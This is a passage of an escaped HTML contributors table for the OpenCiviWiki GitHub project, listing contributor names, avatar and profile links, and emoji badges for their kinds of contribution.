title=\"Bug reports\">\ud83d\udc1b</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/adityamittl\"><img src=\"https://avatars.githubusercontent.com/u/76921082?v=4?s=100\" width=\"100px;\" alt=\"Aditya Mittal\"/><br /><sub><b>Aditya Mittal</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=adityamittl\" title=\"Code\">\ud83d\udcbb</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/a7madnassar\"><img src=\"https://avatars.githubusercontent.com/u/2473403?v=4?s=100\" width=\"100px;\" alt=\"Ahmed Nassar\"/><br /><sub><b>Ahmed Nassar</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=a7madnassar\" title=\"Code\">\ud83d\udcbb</a> <a href=\"#infra-a7madnassar\" title=\"Infrastructure (Hosting, Build-Tools, etc)\">\ud83d\ude87</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/alanCalvillo-Wizeline\"><img src=\"https://avatars.githubusercontent.com/u/72406611?v=4?s=100\" width=\"100px;\" alt=\"Alan Calvillo\"/><br /><sub><b>Alan Calvillo</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/pulls?q=is%3Apr+reviewed-by%3AalanCalvillo-Wizeline\" title=\"Reviewed Pull Requests\">\ud83d\udc40</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/alecxvs\"><img src=\"https://avatars2.githubusercontent.com/u/513932?v=4?s=100\" width=\"100px;\" alt=\"Alec Sears\"/><br /><sub><b>Alec Sears</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/issues?q=author%3Aalecxvs\" title=\"Bug reports\">\ud83d\udc1b</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/LightFelicis\"><img src=\"https://avatars.githubusercontent.com/u/21277176?v=4?s=100\" width=\"100px;\" alt=\"Alicja Kluczek\"/><br /><sub><b>Alicja Kluczek</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=LightFelicis\" title=\"Documentation\">\ud83d\udcd6</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/dummy26\"><img src=\"https://avatars.githubusercontent.com/u/40134444?v=4?s=100\" width=\"100px;\" alt=\"Aniket Banyal\"/><br /><sub><b>Aniket Banyal</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=dummy26\" title=\"Documentation\">\ud83d\udcd6</a> <a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=dummy26\" title=\"Code\">\ud83d\udcbb</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/AnkanDas22\"><img src=\"https://avatars1.githubusercontent.com/u/30185594?v=4?s=100\" width=\"100px;\" alt=\"Ankan Das\"/><br /><sub><b>Ankan Das</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=AnkanDas22\" title=\"Documentation\">\ud83d\udcd6</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://anshu-jindal.github.io/portfolio1/\"><img src=\"https://avatars.githubusercontent.com/u/62394488?v=4?s=100\" width=\"100px;\" alt=\"Anshu Jindal\"/><br /><sub><b>Anshu Jindal</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=Anshu-jindal\" title=\"Documentation\">\ud83d\udcd6</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/PyDrummer\"><img src=\"https://avatars.githubusercontent.com/u/62918152?v=4?s=100\" width=\"100px;\" alt=\"Anthony B.\"/><br /><sub><b>Anthony B.</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=PyDrummer\" title=\"Code\">\ud83d\udcbb</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/anurag629\"><img src=\"https://avatars.githubusercontent.com/u/78868769?v=4?s=100\" width=\"100px;\" alt=\"Anurag verma\"/><br /><sub><b>Anurag verma</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=anurag629\" title=\"Code\">\ud83d\udcbb</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://apoorvakashyap.github.io\"><img src=\"https://avatars.githubusercontent.com/u/30412013?v=4?s=100\" width=\"100px;\" alt=\"Apoorva Kashyap\"/><br /><sub><b>Apoorva Kashyap</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=ApoorvaKashyap\" title=\"Code\">\ud83d\udcbb</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.linkedin.com/in/arjun-k-haridas-9a5844207/\"><img src=\"https://avatars.githubusercontent.com/u/51917087?v=4?s=100\" width=\"100px;\" alt=\"Arjun K Haridas\"/><br /><sub><b>Arjun K Haridas</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=topguns837\" title=\"Code\">\ud83d\udcbb</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/silvarthur\"><img src=\"https://avatars.githubusercontent.com/u/5846343?v=4?s=100\" width=\"100px;\" alt=\"Arthur Silva\"/><br /><sub><b>Arthur Silva</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=silvarthur\" title=\"Code\">\ud83d\udcbb</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/znhv\"><img src=\"https://avatars.githubusercontent.com/u/14875990?v=4?s=100\" width=\"100px;\" alt=\"Boris Zhenikhov\"/><br /><sub><b>Boris Zhenikhov</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=znhv\" title=\"Code\">\ud83d\udcbb</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/BrianPainter\"><img src=\"https://avatars2.githubusercontent.com/u/1342663?v=4?s=100\" width=\"100px;\" alt=\"Brian Painter\"/><br /><sub><b>Brian Painter</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=BrianPainter\" title=\"Code\">\ud83d\udcbb</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/BrunoFNRodrigues\"><img src=\"https://avatars.githubusercontent.com/u/34194649?v=4?s=100\" width=\"100px;\" alt=\"BrunoFNRodrigues\"/><br /><sub><b>BrunoFNRodrigues</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=BrunoFNRodrigues\" title=\"Code\">\ud83d\udcbb</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://bryliechristopheroxley.info\"><img src=\"https://avatars1.githubusercontent.com/u/17307?v=4?s=100\" width=\"100px;\" alt=\"Brylie Christopher Oxley\"/><br /><sub><b>Brylie Christopher Oxley</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=brylie\" title=\"Code\">\ud83d\udcbb</a> <a href=\"https://github.com/CiviWiki/OpenCiviWiki/issues?q=author%3Abrylie\" title=\"Bug reports\">\ud83d\udc1b</a> <a href=\"#projectManagement-brylie\" title=\"Project Management\">\ud83d\udcc6</a> <a href=\"https://github.com/CiviWiki/OpenCiviWiki/pulls?q=is%3Apr+reviewed-by%3Abrylie\" title=\"Reviewed Pull Requests\">\ud83d\udc40</a> <a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=brylie\" title=\"Documentation\">\ud83d\udcd6</a> <a href=\"#infra-brylie\" title=\"Infrastructure (Hosting, Build-Tools, etc)\">\ud83d\ude87</a> <a href=\"#maintenance-brylie\" title=\"Maintenance\">\ud83d\udea7</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/CaioSR\"><img src=\"https://avatars1.githubusercontent.com/u/26325211?v=4?s=100\" width=\"100px;\" alt=\"Caio Shimada Rabello\"/><br /><sub><b>Caio Shimada Rabello</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=CaioSR\" title=\"Code\">\ud83d\udcbb</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/dborstelmann\"><img src=\"https://avatars1.githubusercontent.com/u/6558873?v=4?s=100\" width=\"100px;\" alt=\"Dan Borstelmann\"/><br /><sub><b>Dan Borstelmann</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=dborstelmann\" title=\"Code\">\ud83d\udcbb</a> <a href=\"https://github.com/CiviWiki/OpenCiviWiki/issues?q=author%3Adborstelmann\" title=\"Bug reports\">\ud83d\udc1b</a> <a href=\"#infra-dborstelmann\" title=\"Infrastructure (Hosting, Build-Tools, etc)\">\ud83d\ude87</a> <a href=\"#ideas-dborstelmann\" title=\"Ideas, Planning, & Feedback\">\ud83e\udd14</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/danielgrijalva\"><img src=\"https://avatars1.githubusercontent.com/u/11547406?v=4?s=100\" width=\"100px;\" alt=\"Daniel Grijalva\"/><br /><sub><b>Daniel Grijalva</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=danielgrijalva\" title=\"Code\">\ud83d\udcbb</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/dlarner3194\"><img src=\"https://avatars2.githubusercontent.com/u/17296992?v=4?s=100\" width=\"100px;\" alt=\"Daniel Larner\"/><br /><sub><b>Daniel Larner</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=dlarner3194\" title=\"Code\">\ud83d\udcbb</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/darcymeyer\"><img src=\"https://avatars2.githubusercontent.com/u/15186598?v=4?s=100\" width=\"100px;\" alt=\"Darcy Meyer\"/><br /><sub><b>Darcy Meyer</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=darcymeyer\" title=\"Code\">\ud83d\udcbb</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/DCalliet\"><img src=\"https://avatars0.githubusercontent.com/u/6856645?v=4?s=100\" width=\"100px;\" alt=\"Darius Calliet\"/><br /><sub><b>Darius Calliet</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=DCalliet\" title=\"Code\">\ud83d\udcbb</a> <a href=\"https://github.com/CiviWiki/OpenCiviWiki/issues?q=author%3ADCalliet\" title=\"Bug reports\">\ud83d\udc1b</a> <a href=\"#ideas-DCalliet\" title=\"Ideas, Planning, & Feedback\">\ud83e\udd14</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/darshanip\"><img src=\"https://avatars.githubusercontent.com/u/36774606?v=4?s=100\" width=\"100px;\" alt=\"Darshan\"/><br /><sub><b>Darshan</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=darshanip\" title=\"Code\">\ud83d\udcbb</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/Di-ref\"><img src=\"https://avatars1.githubusercontent.com/u/61465302?v=4?s=100\" width=\"100px;\" alt=\"Di-ref\"/><br /><sub><b>Di-ref</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=Di-ref\" title=\"Code\">\ud83d\udcbb</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/FredKhayat\"><img src=\"https://avatars.githubusercontent.com/u/61949371?v=4?s=100\" width=\"100px;\" alt=\"Frederic Khayat\"/><br /><sub><b>Frederic Khayat</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=FredKhayat\" title=\"Code\">\ud83d\udcbb</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/GokuMizuno\"><img src=\"https://avatars0.githubusercontent.com/u/6818565?v=4?s=100\" width=\"100px;\" alt=\"Gordon Stangler\"/><br /><sub><b>Gordon Stangler</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=GokuMizuno\" title=\"Code\">\ud83d\udcbb</a> <a href=\"https://github.com/CiviWiki/OpenCiviWiki/issues?q=author%3AGokuMizuno\" title=\"Bug reports\">\ud83d\udc1b</a> <a href=\"#ideas-GokuMizuno\" title=\"Ideas, Planning, & Feedback\">\ud83e\udd14</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://g1stavo.github.io/\"><img src=\"https://avatars1.githubusercontent.com/u/22722936?v=4?s=100\" width=\"100px;\" alt=\"Gustavo\"/><br /><sub><b>Gustavo</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=g1stavo\" title=\"Code\">\ud83d\udcbb</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/harsha0609\"><img src=\"https://avatars.githubusercontent.com/u/24893016?v=4?s=100\" width=\"100px;\" alt=\"Harsha Vardhan\"/><br /><sub><b>Harsha Vardhan</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=harsha0609\" title=\"Code\">\ud83d\udcbb</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://haseebmajid.dev\"><img src=\"https://avatars.githubusercontent.com/u/998807?v=4?s=100\" width=\"100px;\" alt=\"Haseeb Majid\"/><br /><sub><b>Haseeb Majid</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=hmajid2301\" title=\"Code\">\ud83d\udcbb</a> <a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=hmajid2301\" title=\"Documentation\">\ud83d\udcd6</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/HushOv\"><img src=\"https://avatars2.githubusercontent.com/u/36056305?v=4?s=100\" width=\"100px;\" alt=\"Hush\"/><br /><sub><b>Hush</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=HushOv\" title=\"Code\">\ud83d\udcbb</a> <a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=HushOv\" title=\"Documentation\">\ud83d\udcd6</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://bandism.net/\"><img src=\"https://avatars.githubusercontent.com/u/22633385?v=4?s=100\" width=\"100px;\" alt=\"Ikko Ashimine\"/><br /><sub><b>Ikko Ashimine</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=eltociear\" title=\"Code\">\ud83d\udcbb</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/JDRanpariya\"><img src=\"https://avatars3.githubusercontent.com/u/51157407?v=4?s=100\" width=\"100px;\" alt=\"JDRanpariya\"/><br /><sub><b>JDRanpariya</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=JDRanpariya\" title=\"Documentation\">\ud83d\udcd6</a> <a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=JDRanpariya\" title=\"Code\">\ud83d\udcbb</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/jabrielcjones\"><img src=\"https://avatars.githubusercontent.com/u/32472383?v=4?s=100\" width=\"100px;\" alt=\"Jabriel Jones\"/><br /><sub><b>Jabriel Jones</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=jabrielcjones\" title=\"Code\">\ud83d\udcbb</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://jacob-north.com\"><img src=\"https://avatars.githubusercontent.com/u/34386437?v=4?s=100\" width=\"100px;\" alt=\"Jacob North\"/><br /><sub><b>Jacob North</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=North15\" title=\"Code\">\ud83d\udcbb</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/jstrang\"><img src=\"https://avatars2.githubusercontent.com/u/9824957?v=4?s=100\" width=\"100px;\" alt=\"Jake Strang\"/><br /><sub><b>Jake Strang</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=jstrang\" title=\"Code\">\ud83d\udcbb</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/Jazriel\"><img src=\"https://avatars1.githubusercontent.com/u/9085893?v=4?s=100\" width=\"100px;\" alt=\"Javier Mart\u00ednez\"/><br /><sub><b>Javier Mart\u00ednez</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=Jazriel\" title=\"Code\">\ud83d\udcbb</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/jithenshriyan\"><img src=\"https://avatars.githubusercontent.com/u/67240543?v=4?s=100\" width=\"100px;\" alt=\"Jithen Shriyan\"/><br /><sub><b>Jithen Shriyan</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=jithenshriyan\" title=\"Code\">\ud83d\udcbb</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/JonanOribe\"><img src=\"https://avatars1.githubusercontent.com/u/11914201?v=4?s=100\" width=\"100px;\" alt=\"Jon Ander Oribe\"/><br /><sub><b>Jon Ander Oribe</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=JonanOribe\" title=\"Code\">\ud83d\udcbb</a> <a href=\"https://github.com/CiviWiki/OpenCiviWiki/issues?q=author%3AJonanOribe\" title=\"Bug reports\">\ud83d\udc1b</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/jl24\"><img src=\"https://avatars1.githubusercontent.com/u/12376696?v=4?s=100\" width=\"100px;\" alt=\"JooHee Lee\"/><br /><sub><b>JooHee Lee</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=jl24\" title=\"Code\">\ud83d\udcbb</a> <a href=\"https://github.com/CiviWiki/OpenCiviWiki/issues?q=author%3Ajl24\" title=\"Bug reports\">\ud83d\udc1b</a> <a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=jl24\" title=\"Documentation\">\ud83d\udcd6</a> <a href=\"#ideas-jl24\" title=\"Ideas, Planning, & Feedback\">\ud83e\udd14</a> <a href=\"#infra-jl24\" title=\"Infrastructure (Hosting, Build-Tools, etc)\">\ud83d\ude87</a> <a href=\"#question-jl24\" title=\"Answering Questions\">\ud83d\udcac</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/Floyd-Droid\"><img src=\"https://avatars.githubusercontent.com/u/67757904?v=4?s=100\" width=\"100px;\" alt=\"Jourdon Floyd\"/><br /><sub><b>Jourdon Floyd</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=Floyd-Droid\" title=\"Documentation\">\ud83d\udcd6</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/kevinjosephh\"><img src=\"https://avatars.githubusercontent.com/u/38029772?v=4?s=100\" width=\"100px;\" alt=\"Kevin Joseph\"/><br /><sub><b>Kevin Joseph</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=kevinjosephh\" title=\"Documentation\">\ud83d\udcd6</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/khushkaushal\"><img src=\"https://avatars.githubusercontent.com/u/31816256?v=4?s=100\" width=\"100px;\" alt=\"Khush\"/><br /><sub><b>Khush</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=khushkaushal\" title=\"Code\">\ud83d\udcbb</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/loukikstudent\"><img src=\"https://avatars.githubusercontent.com/u/35080655?v=4?s=100\" width=\"100px;\" alt=\"Loukik Bhangale\"/><br /><sub><b>Loukik Bhangale</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=loukikstudent\" title=\"Code\">\ud83d\udcbb</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/mharyam\"><img src=\"https://avatars.githubusercontent.com/u/21172249?v=4?s=100\" width=\"100px;\" alt=\"Maryam Yusuf\"/><br /><sub><b>Maryam Yusuf</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=mharyam\" title=\"Code\">\ud83d\udcbb</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://www.linkedin.com/in/mazen-r\"><img src=\"https://avatars.githubusercontent.com/u/73492002?v=4?s=100\" width=\"100px;\" alt=\"Mazen Ramadan\"/><br /><sub><b>Mazen Ramadan</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=mazen-r\" title=\"Documentation\">\ud83d\udcd6</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://facebook.com/fardeen.es7\"><img src=\"https://avatars.githubusercontent.com/u/43882976?v=4?s=100\" width=\"100px;\" alt=\"Md. Fardeen Ehsan Shawon\"/><br /><sub><b>Md. Fardeen Ehsan Shawon</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=fardeenes7\" title=\"Documentation\">\ud83d\udcd6</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/mdwest\"><img src=\"https://avatars1.githubusercontent.com/u/30572202?v=4?s=100\" width=\"100px;\" alt=\"Mitchell D. West\"/><br /><sub><b>Mitchell D. West</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=mdwest\" title=\"Code\">\ud83d\udcbb</a> <a href=\"https://github.com/CiviWiki/OpenCiviWiki/issues?q=author%3Amdwest\" title=\"Bug reports\">\ud83d\udc1b</a> <a href=\"#business-mdwest\" title=\"Business development\">\ud83d\udcbc</a> <a href=\"#financial-mdwest\" title=\"Financial\">\ud83d\udcb5</a> <a href=\"#fundingFinding-mdwest\" title=\"Funding Finding\">\ud83d\udd0d</a> <a href=\"#ideas-mdwest\" title=\"Ideas, Planning, & Feedback\">\ud83e\udd14</a> <a href=\"#projectManagement-mdwest\" title=\"Project Management\">\ud83d\udcc6</a> <a href=\"https://github.com/CiviWiki/OpenCiviWiki/pulls?q=is%3Apr+reviewed-by%3Amdwest\" title=\"Reviewed Pull Requests\">\ud83d\udc40</a> <a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=mdwest\" title=\"Documentation\">\ud83d\udcd6</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://twitter.com/nehemiah_bosire\"><img src=\"https://avatars.githubusercontent.com/u/87471613?v=4?s=100\" width=\"100px;\" alt=\"Nehemiah60\"/><br /><sub><b>Nehemiah60</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=Nehemiah60\" title=\"Code\">\ud83d\udcbb</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://idzieniedzwiedz.pl\"><img src=\"https://avatars.githubusercontent.com/u/59344635?v=4?s=100\" width=\"100px;\" alt=\"Niedzwiedz\"/><br /><sub><b>Niedzwiedz</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=Ni3dzwi3dz\" title=\"Code\">\ud83d\udcbb</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/obafemiolorungbon\"><img src=\"https://avatars.githubusercontent.com/u/62023238?v=4?s=100\" width=\"100px;\" alt=\"Obafemi Joseph Olorungbon\"/><br /><sub><b>Obafemi Joseph Olorungbon</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=obafemiolorungbon\" title=\"Code\">\ud83d\udcbb</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/TimOsahenru\"><img src=\"https://avatars.githubusercontent.com/u/93861430?v=4?s=100\" width=\"100px;\" alt=\"Osahenru\"/><br /><sub><b>Osahenru</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=TimOsahenru\" title=\"Code\">\ud83d\udcbb</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/pscheid2\"><img src=\"https://avatars0.githubusercontent.com/u/6983738?v=4?s=100\" width=\"100px;\" alt=\"Paul Scheid\"/><br /><sub><b>Paul Scheid</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=pscheid2\" title=\"Code\">\ud83d\udcbb</a> <a href=\"#ideas-pscheid2\" title=\"Ideas, Planning, & Feedback\">\ud83e\udd14</a> <a href=\"#question-pscheid2\" title=\"Answering Questions\">\ud83d\udcac</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/Unit111\"><img src=\"https://avatars2.githubusercontent.com/u/5164528?v=4?s=100\" width=\"100px;\" alt=\"Petar Petrov\"/><br /><sub><b>Petar Petrov</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=Unit111\" title=\"Tests\">\u26a0\ufe0f</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/petarPetrovBG\"><img src=\"https://avatars0.githubusercontent.com/u/20644034?v=4?s=100\" width=\"100px;\" alt=\"Petar Petrov\"/><br /><sub><b>Petar Petrov</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=petarPetrovBG\" title=\"Tests\">\u26a0\ufe0f</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/riajots\"><img src=\"https://avatars.githubusercontent.com/u/36339406?v=4?s=100\" width=\"100px;\" alt=\"Ria Jotsinghani\"/><br /><sub><b>Ria Jotsinghani</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=riajots\" title=\"Code\">\ud83d\udcbb</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/therohitramesh\"><img src=\"https://avatars0.githubusercontent.com/u/20316398?v=4?s=100\" width=\"100px;\" alt=\"Rohit Ramesh\"/><br /><sub><b>Rohit Ramesh</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=therohitramesh\" title=\"Code\">\ud83d\udcbb</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.linkedin.com/in/ryan-barrett2/\"><img src=\"https://avatars1.githubusercontent.com/u/29344675?v=4?s=100\" width=\"100px;\" alt=\"Ryan Barrett\"/><br /><sub><b>Ryan Barrett</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=ryan-barrett\" title=\"Code\">\ud83d\udcbb</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://samr1ddh1.github.io\"><img src=\"https://avatars.githubusercontent.com/u/52720626?v=4?s=100\" width=\"100px;\" alt=\"Samriddhi B\"/><br /><sub><b>Samriddhi B</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=samr1ddh1\" title=\"Code\">\ud83d\udcbb</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://sethangell.com\"><img src=\"https://avatars.githubusercontent.com/u/24513605?v=4?s=100\" width=\"100px;\" alt=\"Seth\"/><br /><sub><b>Seth</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=SethAngell\" title=\"Code\">\ud83d\udcbb</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/Shadyaobuya\"><img src=\"https://avatars.githubusercontent.com/u/79209638?v=4?s=100\" width=\"100px;\" alt=\"Shadyaobuya\"/><br /><sub><b>Shadyaobuya</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=Shadyaobuya\" title=\"Code\">\ud83d\udcbb</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/shashankks0987\"><img src=\"https://avatars.githubusercontent.com/u/47640763?v=4?s=100\" width=\"100px;\" alt=\"Shashank KS\"/><br /><sub><b>Shashank KS</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=shashankks0987\" title=\"Code\">\ud83d\udcbb</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/shaunak-gupta\"><img src=\"https://avatars1.githubusercontent.com/u/2604602?v=4?s=100\" width=\"100px;\" alt=\"Shaunak\"/><br /><sub><b>Shaunak</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=shaunak-gupta\" title=\"Code\">\ud83d\udcbb</a></td>\n      <td align=\"center\" 